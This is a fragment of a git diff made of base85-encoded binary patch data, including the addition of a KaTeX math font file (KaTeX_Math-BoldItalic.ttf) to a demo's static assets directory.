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�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 bkH82T%!~T~dOL3iZSfI!+IWoKhyte*`46Vs literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Math-BoldItalic.ttf b/demo/static/dist/assets/KaTeX_Math-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..728ce7a1e2cb689df32c3a6c26e1bd072dcf2acb GIT binary patch literal 31196 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 